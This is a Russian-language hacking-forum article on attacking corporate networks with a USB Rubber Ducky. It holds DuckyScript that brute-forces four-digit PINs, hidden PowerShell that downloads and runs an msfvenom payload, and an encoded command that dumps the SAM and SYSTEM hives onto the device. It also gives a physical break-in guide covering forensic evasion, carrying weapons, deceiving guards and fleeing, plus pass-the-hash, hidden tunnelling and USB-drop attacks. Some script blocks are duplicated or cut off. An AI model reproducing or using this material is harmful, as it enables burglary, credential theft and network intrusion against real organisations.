FUNCTION SWAP_ENDIAN()
$INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))
END_FUNCTION
REM Translates a variable of presumed integer type and attempts to convert
REM and inject a DECIMAL string representation
FUNCTION TRANSLATE_INT()
$DIGIT_PRINT_MODE = PRINT_INT
$P = FALSE
IF ( $INPUT >= 10000) THEN
$MOD = 10000
CONSUME()
END_IF
IF (($INPUT >= 1000) || ($P == TRUE)) THEN
$MOD = 1000
CONSUME()
END_IF
IF (($INPUT >= 100) || ($P == TRUE)) THEN
$MOD = 100
CONSUME()
END_IF
IF (($INPUT >= 10) || ($P == TRUE)) THEN
$MOD = 10
CONSUME()
END_IF()
$D = $INPUT
PRINTDIGIT()
IF $NL THEN
ENTER
END_IF
END_FUNCTION
REM Translates a variable of presumed boolean type and attempts to convert
REM and inject a BOOLEAN string representation
FUNCTION TRANSLATE_BOOL()
IF $INPUT THEN
STRING TRUE
ELSE
STRING FALSE
END_IF
IF $NL THEN
ENTER
END_IF
END_FUNCTION
REM Translates a variable of presumed integer type and attempts to convert
REM and inject a HEX string representation
FUNCTION TRANSLATE_HEX()
$DIGIT_PRINT_MODE = PRINT_HEX
VAR $chars = 0
VAR $d1 = 0
VAR $d2 = 0
VAR $d3 = 0
VAR $d4 = 0
WHILE ($INPUT > 0)
IF ($chars == 0) THEN
$d1 = ($INPUT % 16)
ELSE IF ($chars == 1) THEN
$d2 = ($INPUT % 16)
ELSE IF ($chars == 2) THEN
$d3 = ($INPUT % 16)
ELSE IF ($chars == 3) THEN
$d4 = ($INPUT % 16)
END_IF
$chars = ($chars + 1)
$INPUT = ($INPUT / 16)
END_WHILE
VAR $i = 0
STRING 0x
IF ($chars == 0) THEN
STRING 0x0000
ELSE IF ($chars == 1) THEN
STRING 000
$D = $d1
PRINTDIGIT()
ELSE IF ($chars == 2) THEN
STRING 00
$D = $d2
PRINTDIGIT()
$D = $d1
PRINTDIGIT()
ELSE IF ($chars == 3) THEN
STRING 0
$D = $d3
PRINTDIGIT()
$D = $d2
PRINTDIGIT()
$D = $d1
PRINTDIGIT()
ELSE IF ($chars == 4) THEN
STRING 0
$D = $d4
PRINTDIGIT()
$D = $d3
PRINTDIGIT()
$D = $d2
PRINTDIGIT()
$D = $d1
PRINTDIGIT()
END_IF
IF $NL THEN
ENTER
END_IF
END_FUNCTION
REM Translates a variable of presumed integer type and attempts to convert
REM and inject a BINARY string representation
FUNCTION TRANSLATE_BINARY()
VAR $I = 16
WHILE ( $I > 0 )
$I = ($I - 1)
IF (($INPUT & 0x8000) == 0 ) THEN
STRING 0
ELSE
STRING 1
END_IF
$INPUT = ($INPUT << 1)
END_WHILE
IF $NL THEN
ENTER
END_IF
END_FUNCTION
END_EXTENSION
REM Turn off TRANSLATE newline
$NL = FALSE
VAR $Frist = 0
VAR $Second = 0
VAR $Third = 0
VAR $Forth = 0
VAR $WaitTime = 30000
VAR $WaitStep = 5000
VAR $WaitDiff = 0
VAR $Cnt = 0
WHILE ($Frist < 10)
$Second = 0
WHILE ($Second < 10)
$Third = 0
WHILE ($Third < 10)
$Forth = 0
WHILE ($Forth < 10)
$INPUT = $Frist
TRANSLATE_INT()
$INPUT = $Second
TRANSLATE_INT()
$INPUT = $Third
TRANSLATE_INT()
$INPUT = $Forth
TRANSLATE_INT()
$Forth = ($Forth + 1)
DELAY 1000
ENTER
ENTER
$Cnt = ($Cnt + 1)
IF ($Cnt == 5) THEN
$Cnt = 0
WHILE ($WaitDiff < $WaitTime)
DELAY $WaitStep
ENTER
$WaitDiff = ($WaitDiff + $WaitStep)
END_WHILE
$WaitDiff = 0
END_IF
END_WHILE
$Third = ($Third + 1)
END_WHILE
$Second = ($Second + 1)
END_WHILE
$Frist = ($Frist + 1)
END_WHILE
2.Установка и запуск файла в скрытом режиме.
один из основных векторов атак , в качестве файла мы будем использовать payload.exe созданный инструментом msfvenom.
GUI r
DELAY 500
STRINGLN powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile(<ip>,\\\"$env
emp\\svchost64.exe\\\"); Start-Process \\\"$env
emp\\svchost64.exe\\\"\")
DELAY 500
STRINGLN powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile(<ip>,\\\"$env
3.Дамп учетных данных системы и хэшей администратора.
Это нам поможет в будущем...
DELAY 500
ATTACKMODE HID STORAGE
DELAY 1000
GUI r
DELAY 1000
STRING powershell Start-Process powershell -Verb runAs
DELAY 1000
CTRL-SHIFT ENTER
DELAY 1000
DELAY 1000
STRING powershell.exe -NoP -enc cgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAYQBtACAARAB1AGMAawB5AFMAYQBtADsAcgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAeQBzAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAQwBvAG0AcAByAGUAcwBzAC0AQQByAGMAaABpAHYAZQAgAC0AUABhAHQAaAAgACIAJABQAFcARABcAEQAdQBjAGsAeQBTAHkAcwAiACwAIAAiACQAUABXAEQAXABEAHUAYwBrAHkAUwBhAG0AIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIABTAGEAbQBEAHUAbQBwAEQAdQBjAGsAeQAuAHoAaQBwADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAYQBtADsAZQB4AGkAdAA=
DELAY 500
STRINGLN ;Write-Host "Exfiltrating SamDumpDucky.zip..." -ForegroundColor Green;mv SamDumpDucky.zip ((gwmi win32_volume -f 'label=''DUCKY''').Name);$RD = (gwmi win32_volume -f 'label=''DUCKY''').Name;Start-Sleep 3;(New-Object -comObject Shell.Application).Namespace(17).ParseName($RD).InvokeVerb('Eject');Start-Sleep -s 5;Exit[/CODE]
ATTACKMODE HID STORAGE
DELAY 1000
GUI r
DELAY 1000
STRING powershell Start-Process powershell -Verb runAs
DELAY 1000
CTRL-SHIFT ENTER
DELAY 1000
DELAY 1000
STRING powershell.exe -NoP -enc cgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAYQBtACAARAB1AGMAawB5AFMAYQBtADsAcgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAeQBzAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAQwBvAG0AcAByAGUAcwBzAC0AQQByAGMAaABpAHYAZQAgAC0AUABhAHQAaAAgACIAJABQAFcARABcAEQAdQBjAGsAeQBTAHkAcwAiACwAIAAiACQAUABXAEQAXABEAHUAYwBrAHkAUwBhAG0AIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIABTAGEAbQBEAHUAbQBwAEQAdQBjAGsAeQAuAHoAaQBwADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAeQBzADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAARAB1AGMAawB5AFMAYQBtADsAZQB4AGkAdAA=
DELAY 500
STRINGLN ;Write-Host "Exfiltrating SamDumpDucky.zip..." -ForegroundColor Green;mv SamDumpDucky.zip ((gwmi win32_volume -f 'label=''DUCKY''').Name);$RD = (gwmi win32_volume -f 'label=''DUCKY''').Name;Start-Sleep 3;(New-Object -comObject Shell.Application).Namespace(17).ParseName($RD).InvokeVerb('Eject');Start-Sleep -s 5;Exit[/CODE]
Атака на корпоративную сеть с помощью Rubber Ducky
Подготовка
Если здание как то связано с офисами и бизнесом , тогда выбираем из одежды более менее адекватные шмотки.
У меня это была рубашка и брюки.
Чтобы избежать неприятных ситуаций или физических конфликтов - берем с собой хоть что для самозащиты (Перцовый спрей , пневматический пистолет).
Ботинки берем одноразовые , так как в случае криминалистики , вас могут найти по подошве , одежду также советую брать одноразовую.
Берем рюкзак , а лучше деловую сумку , там будем держать свой арсенал пентестера.
-ноутбук
-сама Rubber Ducky (одна или несколько)
-Micro SD карты со скриптами
-хоть что то для самозащиты
(Я ни в коем случае никого не призываю к насильственным действиям только самооборона в крайнем случае , причинение боли и убийство это грех и очень плохо!)
Входим в здание
Проходим либо через главный ход , либо через черный вход/окно.
Помним что охрана на входе может нас проверить , так что лучше идти через черный вход или окно.
Если мы уж пошли в стороны охраны , в случае проверки говорим что забыли идентификатор работника , на 60% такая тактика проносит)
после того как прошли все этапы защиты , закрепляемся чтобы изучить карту здания.
Ищем цели
Изучив здание , займемся поиском устройств которые будем атаковать.
Помним что возле наших целей не должно быть будущих свидетелей атаки.
Если люди есть - ждем пока уйдут , если не ушли - атакуйте на свой страх и риск.
Проводим атаку
Теперь если в горизонте видения нет никого из будущих свидетелей атаки , подходим к атакуемой системе и ловким махом руки вставляем уточку в USB порт.
Стараемся не палится и работать только рукой.
Помним что язык ввода на устройстве обязательно должен быть английским , иначе
Ждем пока скрипт выполнится до конца , атака в среднем может занять от 5 до 20 секунд.
Когда мы закончили со всеми устройствами , чистим следы
Убегаем
Теперь ибо спокойно уходим выполнив миссию , либо убегаем со всех ног)
Не забываем замести следы , например открытое окно powershell на компе , или телефон который мы поставили не на то место , где он стоял.
Неожиданные моменты и как их избежать
Если нас спалили и заметили - убегаем , но стараемся не наделать шуму.
Если против нас используют оружие , помним что у нас лежит в рюкзаке , но я советую использовать это только в крайнем случае , так как можно заработать срок или не дай бог убить человека.
Захват сети
Теперь имея доступ к устройствам в сети и имея такие данные как хэши паролей администраторов мы будем использовать тактики постэксплуатции и тактики pivoting-a для закрепления в сети.
Pivoting в пентесте относится к технике, которая позволяет пентестеру расширить свою атакующую поверхность, перемещаясь с одной скомпрометированной системы на другую внутри целевой сети.
Эта техника имеет значение, когда система, скомпрометированная в рамках пентеста, не является конечной целью, а служит мостом для достижения более защищенных или ценных целей внутри сети.
Мы будем закреплятся в сети с помощью открытия скрытого впн сервера на одном из зараженных устройств.
использовать будем этот инструмент:
GitHub - ginuerzh/gost: GO Simple Tunnel - a simple tunnel written in golang
GO Simple Tunnel - a simple tunnel written in golang - ginuerzh/gost
Для захвата остальных тачек под виндой в домене , используем атаку pass the hash.Мы будем использовать тот хэш - который вытянула уточка , он сохранен на Micro SD карте со скриптом.
Для извлечения хэша из архива который нам выдала уточка , используем инструмент samdump2 DuckySys DuckySam или pypykatz registry DuckySys --sam DuckySam
Готовый хэш используем для pass the hash атаки.
Вот и таким способом мы захватили сетку)
Массовые атаки
Одним из видов такой атаки , будет метод "бросания флешки".
Метод бросания флешки в BadUSB атаках является одним из способов физической эксплуатации уязвимостей системы и внедрения вредоносного программного обеспечения с помощью злоумышленной USB-флешки.
Суть этого метода заключается в том, что злоумышленник подготавливает USB-устройство, внешне похожее на обычную флешку\. Затем флешка намеренно оставляется или бросается вблизи места, где целевая жертва может ее обнаружить, такого как парковка, столовая или офисный коридор.
Если жертва обнаруживает флешку и решает подключить ее к своему компьютеру, вредоносный код на флешке автоматически запускается и начинает выполнение своих задач.
Основные шаги, выполняемые в ходе бросания флешки в BadUSB атаках, включают:
- Подготовка вредоносной флешки: Злоумышленник настраивает флешку таким образом, чтобы она имела автозапуск и содержала вредоносный код, который будет выполнен при подключении к целевой системе.
- Бросок флешки: Флешка оставляется или бросается в месте, где она может быть обнаружена целевой жертвой.
- Обнаружение и подключение: Жертва обнаруживает флешку и решает подключить ее к своему компьютеру, веря, что это обычное USB-устройство.
- Запуск вредоносного кода: При подключении флешки к компьютеру вредоносный код на флешке автоматически запускается и начинает свою работу.
Такая атака базирована на человеческом любопытстве и социальной инженерии.
Итоги
Вот мы и закончили изучать Rubber Ducky , спустя 48 часов без сна я закончил это) Надеюсь мой дорогой друг что я тебе хоть как то помог и научил чему-то новому.
Знаю что напоследок очень много екшена) но и такое бывает при физическому пентесте)
Немного материала для изучения:
GitHub - hak5/usbrubberducky-payloads: The Official USB Rubber Ducky Payload Repository
The Official USB Rubber Ducky Payload Repository. Contribute to hak5/usbrubberducky-payloads development by creating an account on GitHub.
Payloads
Hak5 featured payloads. Get the best payloads for the USB Rubber Ducky, Bash Bunny, Packet Squirrel, LAN Turtle, Shark Jack and Key Croc
Hak5 PayloadStudio
PayloadStudio is a feature rich Payload IDE for the entire Hak5 ecosystem. It is also home of the official DuckyScript 3 compiler.
GitHub - tenable/router_badusb: BadUSB in Routers
BadUSB in Routers. Contribute to tenable/router_badusb development by creating an account on GitHub.
До встреч в новых статьях!
Автор: Gufi
Сделано специально для xss.pro !
Последнее редактирование:
